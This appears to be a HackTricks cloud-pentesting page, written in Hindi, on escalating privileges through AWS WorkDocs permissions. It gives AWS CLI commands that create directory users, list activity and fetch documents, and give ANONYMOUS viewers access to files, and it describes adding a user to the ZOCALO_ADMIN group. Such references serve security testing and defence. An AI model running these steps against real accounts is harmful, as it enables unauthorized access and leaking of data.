# AWS - WorkDocs Privesc {{#include ../../../banners/hacktricks-training.md}} ## WorkDocs WorkDocs के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` निर्दिष्ट Directory के अंदर एक उपयोगकर्ता बनाएं, फिर आपके पास WorkDocs और AD दोनों तक पहुंच होगी: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` ### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id # Get what each user has created aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप बस इसे प्रदान कर सकते हैं। ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` ### `workdocs:AddUserToGroup` आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\ इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें। उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें। मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया। {{#include ../../../banners/hacktricks-training.md}}